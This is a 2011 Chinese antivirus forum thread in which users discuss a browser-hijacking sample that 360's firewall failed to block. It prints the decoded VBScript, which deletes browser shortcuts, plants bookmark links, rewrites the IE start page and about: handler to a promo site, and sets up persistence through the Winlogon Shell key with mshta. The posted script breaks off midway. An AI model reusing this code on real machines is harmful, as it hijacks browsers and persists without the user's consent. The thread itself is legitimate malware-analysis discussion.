查看: 6166|回复: 39
收起左侧

[分享] 送360一样本,我木马防火墙点阻止,但照样没成功拦截

  [复制链接]
hujiwa
头像被屏蔽
发表于 2011-1-2 14:08:17 | 显示全部楼层 |阅读模式
本帖最后由 hujiwa 于 2011-1-2 14:23 编辑

看看你们那木马防火墙阻止的话,是不是也一样拦截不成功。。。。
坐等360云到此样本

http://bbs.kafan.cn/thread-880524-1-1.html
Lgwu
头像被屏蔽
发表于 2011-1-2 14:53:22 | 显示全部楼层
楼主不是不知道是否为病毒么?
Encode 加密,自己解密下, 看源代码即可知道。
hujiwa
头像被屏蔽
 楼主| 发表于 2011-1-2 15:15:16 | 显示全部楼层
回复 2楼 Lgwu 的帖子

谢谢,刚才在线解了下。我没玩过加密解密。
<script language=VBScript>
on error resume next
window.moveTo 4000,4000
window.resizeTo 0,0
dim objIe
set objIe=createobject("InternetExplorer.Application")
objIe.navigate "http://www.yftk.cc/?2011"
objIe.visible=True
Function GetDrive()
        on error resume next
        set fso = createobject("scripting.filesystemobject")
        GetDrive=fso.getdrivename(fso.getspecialfolder(WindowsFolder))
        if GetDrive<>"" and instr(GetDrive,":")<>0 then
                Exit Function
        End if
        GetDrive="C:"
End Function
'//FSO
Set FSO = CreateObject("scripting.filesystemobject")
'//Get all use path
Set WshShell = CreateObject("WScript.Shell")
'//Desktop All Users
strAllDesk=GetDrive & "\Documents and Settings\All Users\桌面\"
'//Desktop
strDesktop = WshShell.SpecialFolders("Desktop")
'//Quick start
strQuick=WshShell.ExpandEnvironmentStrings("%APPDATA%") & "\Microsoft\Internet Explorer\Quick Launch"
'//start AllUser
strStartmenu = WshShell.SpecialFolders("AllUsersStartMenu")
'//start admin
strStart=WshShell.SpecialFolders("Startup") & "\"
'//faver path
Set objShell = CreateObject("Shell.Application")
Set objFolder = objShell.Namespace(6)
Set objFolderItem = objFolder.Self   
strDesktopFld = objFolderItem.Path & "\"
strDesktopFldd = objFolderItem.Path & "\链接\"

Function HideIE()
        on error resume next
        createobject("wscript.shell").Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\ClassicStartMenu\{871C5380-42A0-1069-A2EA-08002B30309D}","1"
        createobject("wscript.shell").Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel\{871C5380-42A0-1069-A2EA-08002B30309D}","1"
End Function
function SuperShell(strPath)
        on error resume next
        Set objSWbemServices = CreateObject("WbemScripting.SWbemLocator").ConnectServer()
        Set objStartup = objSWbemServices.Get("Win32_ProcessStartup")
        Set objConfig = objStartup.SpawnInstance_
        objConfig.ShowWindow = 12
        Set objSWbemObject = objSWbemServices.Get("Win32_Process")
        errResult = objSWbemObject.Create(strPath, Null, objConfig, processId)
end function
function faver(a,b)
        on error resume next
        if FSO.FileExists(strDesktopFld & a & ".url")=false then
                Set myfile=FSO.CreateTextFile( strDesktopFld & a & ".url" ,,ture)
                myfile.WriteLine "[InternetShortcut]"
                myfile.WriteLine "URL=" & b
                myfile.Close
        end if
End   function
function faverr(a,b)
        on error resume next
        if FSO.FileExists(strDesktopFldd & a & ".url")=false then
                Set myfile=FSO.CreateTextFile( strDesktopFldd & a & ".url" ,,ture)
                myfile.WriteLine "[InternetShortcut]"
                myfile.WriteLine "URL=" & b
                myfile.Close
        end if
End   function
Function AddMyFaver()
        on error resume next
        faver "hao123网址之家","http://www.hao123.biz/?fav"
        faver "2345网址大全","http://www.2355.cc/?fav"
        faver "小游戏大全","http://www.djxyx.cn/"
        faver "随机视频聊天","http://www.yftk.cc/?fav2"
        faver "单机游戏之家","http://www.djyx.cn/"
        faver "★淘宝网特卖会","http://www.admama.cn/t/"
        faver "黄瓜电影网","http://www.huangguady.com/"
        faver "当当网","http://union.dangdang.com/transfer/transfer.aspx?from=P-261907&backurl=http://www.dangdang.com/"
        faver "异性交友中心","http://www.jiayuan.com/st/?id=5377&url=http://www.jiayuan.com/register/?style=2"
        faver "彩票中奖查询","http://www.2caipiao.com/banner.jhtml?action=hotLottery&width=960&agentId=210019"
End Function
Function AddMyFaverr()
        on error resume next
        faverr "hao123网址之家","http://www.hao123.biz/?fav"
        faverr "2345网址大全","http://www.2355.cc/?fav"
        faverr "小游戏大全","http://www.djxyx.cn/"
        faverr "随机视频聊天","http://www.yftk.cc/?fav2"
        faverr "单机游戏之家","http://www.djyx.cn/"
        faverr "★淘宝网特卖会","http://www.admama.cn/t/"
        faverr "黄瓜电影网","http://www.huangguady.com/"
        faverr "当当网","http://union.dangdang.com/transfer/transfer.aspx?from=P-261907&backurl=http://www.dangdang.com/"
        faverr "异性交友中心","http://www.jiayuan.com/st/?id=5377&url=http://www.jiayuan.com/register/?style=2"
        faverr "彩票中奖查询","http://www.2caipiao.com/banner.jhtml?action=hotLottery&width=960&agentId=210019"
End Function
function deletelnk(strPath)
        on error resume next
        For Each file In FSO.GetFolder(strPath).files
        if right(lcase(file.name),3)="lnk" then
                if instr(lcase(file.name),"internet")<>0 or instr(lcase(file.name),"世界之窗")<>0 or  instr(lcase(file.name),"傲游浏览器")<>0 or  instr(lcase(file.name),"mozilla firefox")<>0 or  instr(lcase(file.name),"腾讯tt")<>0 or  instr(lcase(file.name),"谷歌浏览器")<>0 or  instr(lcase(file.name),"opera")<>0  then
                            FSO.DeleteFile strPath & "\" & file.name
                end if
        end if
        if right(lcase(file.name),3)="url" then
                FSO.DeleteFile strPath & "\" & file.name
        end if
        Next
end function
Function DeleteAllLnk()
        on error resume next
        deletelnk strQuick
        deletelnk strDesktop
        deletelnk strAllDesk
        deletelnk strStartmenu
End Function
Sub create(path)
        on error resume next
        If fso.FolderExists(path) Then
                Exit Sub
        End If
        If Not fso.FolderExists(fso.GetParentFolderName(path)) Then
                create fso.GetParentFolderName(path)   
        End If
        fso.CreateFolder(path)
End Sub
Function CreatMyIE()
        on error resume next
        WshShell.Regwrite "HKEY_CLASSES_ROOT\CLSID\{78AE2D63-AB8A-9AD7-8888-86A33833C94B}\","Internet Explorer"
        WshShell.Regwrite "HKEY_CLASSES_ROOT\CLSID\{78AE2D63-AB8A-9AD7-8888-86A33833C94B}\DefaultIcon\",GetDrive & "\Program Files\Internet Explorer\IEXPLORE.EXE"
        WshShell.Regwrite "HKEY_CLASSES_ROOT\CLSID\{78AE2D63-AB8A-9AD7-8888-86A33833C94B}\Shell\Open(&H)\","打开主页(&H)"
        WshShell.Regwrite "HKEY_CLASSES_ROOT\CLSID\{78AE2D63-AB8A-9AD7-8888-86A33833C94B}\Shell\Open(&H)\Command\",GetDrive & "\Program Files\Internet Explorer\IEXPLORE.EXE about:blank"
        WshShell.Regwrite "HKEY_CLASSES_ROOT\CLSID\{78AE2D63-AB8A-9AD7-8888-86A33833C94B}\Shell\Z\","删除(&D)"
        WshShell.Regwrite "HKEY_CLASSES_ROOT\CLSID\{78AE2D63-AB8A-9AD7-8888-86A33833C94B}\Shell\Z\Command\","Rundll32.exe"
        WshShell.Regwrite "HKEY_CLASSES_ROOT\CLSID\{78AE2D63-AB8A-9AD7-8888-86A33833C94B}\Shell\属性(&R)\Command\","Rundll32.exe Shell32.dll,Control_RunDLL Inetcpl.cpl"
        WshShell.Regwrite "HKEY_CLASSES_ROOT\CLSID\{78AE2D63-AB8A-9AD7-8888-86A33833C94B}\ShellFolder\Attributes",a,"REG_DWORD"
        WshShell.Regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\krrPuter\","{78AE2D63-AB8A-9AD7-8888-86A33833C94B}"
End Function
Function MakeMyIE()
        on error resume next
        If sResult then:sMyKey=sKey:Else:sMyKey="http://www.ixmtz.info":End if
        WshShell.Regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page",sMyKey
        WshShell.Regwrite "HKEY_USERS\S-1-5-21-1177238915-1004336348-682003330-500\Software\Microsoft\Internet Explorer\Main\Start Page",sMyKey
End Function
Function FuckAboutBlank()
        on error resume next
        If sResult then:sMyKey=sKey:Else:sMyKey="http://www.ixmtz.info":End if
        WshShell.Regwrite "HKEY_CLASSES_ROOT\about\URL Protocol",""
        WshShell.Regwrite "HKEY_CLASSES_ROOT\about\shell\open\command\",GetDrive & "\Program Files\Internet Explorer\iexplore.exe " & sMyKey
        WshShell.Regdelete "HKEY_CLASSES_ROOT\PROTOCOLS\Handler\about\"
End Function
Function AddMyRun(strExe,MyFolder,sRun)
        on error resume next
        Dim WshShell
        Set WshShell = CreateObject("WScript.Shell")
        WshShell.Regwrite "HKEY_CLASSES_ROOT\CLSID\{3F92DA25-A429-7777-A754-4482C9B99C28}\IsShortCut",""
        WshShell.Regwrite "HKEY_CLASSES_ROOT\CLSID\{3F92DA25-A429-7777-A754-4482C9B99C28}\shell\open(&H)\command\","mshta.exe " & strExe
        WshShell.Regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell","Explorer.exe " & sRun
        create sRun
        Set myfile=FSO.CreateTextFile( sRun & "\desktop.ini",,ture)
                myfile.WriteLine "[.ShellClassInfo]"
                myfile.WriteLine "CLSID={3F92DA25-A429-7777-A754-4482C9B99C28}"
        myfile.Close
        SuperShell "attrib +s +h " & """" & MyFolder & """"
        SuperShell "attrib +s +h " & """" & sRun & "\desktop.ini" & """"
        SuperShell "attrib +s +h " & """" & sRun  & """"
End Function
Function sResult()
        a="0123456789":sTemp=mid(a,3,1) & mid(a,1,1) & mid(a,2,1) & mid(a,2,1):sTemp=sTemp & "-" & mid(a,2,1) & "-" & mid(a,2,1) & mid(a,3,1):b=DateDiff("d",sTemp,now):if b>=0 then:sResult=True:else:sResult=False:end if
End Function
Function sKey()
        on error resume next
        input0="
hujiwa
头像被屏蔽
 楼主| 发表于 2011-1-2 15:36:49 | 显示全部楼层
回复 2楼 Lgwu 的帖子

神似有字数限制,看上去感觉没解密完整。有没有什么推荐的工具
Lgwu
头像被屏蔽
发表于 2011-1-2 15:38:36 | 显示全部楼层
回复 4楼 hujiwa 的帖子

以前机子上有,刚才找了下米找到,不知道放在那里了。在线解密这些一般都有字数限制。
hujiwa
头像被屏蔽
 楼主| 发表于 2011-1-2 15:46:00 | 显示全部楼层
回复 5楼 Lgwu 的帖子

要是哪天找到了麻烦给个哈。
Lgwu
头像被屏蔽
发表于 2011-1-2 15:49:17 | 显示全部楼层
回复 6楼 hujiwa 的帖子

好的,好的。这类工具都是07年之前玩的。好久不用了,所以也不知道放在那个文件夹里面。等找到了PM你。
hujiwa
头像被屏蔽
 楼主| 发表于 2011-1-2 15:56:31 | 显示全部楼层
回复 7楼 Lgwu 的帖子

everything,locate一下
leisong
发表于 2011-1-2 18:48:11 | 显示全部楼层
本帖最后由 leisong 于 2011-1-2 18:49 编辑

不是拦截了没拦住,而是在手动模式下都自动允许,压根没拦,这是流氓软件误入白名单

看截图就知道了,以前碰到过,弹框是蓝色的,白名单内的弹框

日志可以看到,自动允许隐藏桌面IE图标,又自动允许了修改注册表主页相关的键值。造成打开IE就被劫持到这一网址

云扫描可查杀,查杀后IE恢复

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
jk58639844
发表于 2011-1-2 19:01:25 | 显示全部楼层
悲剧,为什么会出现这样的问题?
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2024-11-25 21:18 , Processed in 0.143178 second(s), 18 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表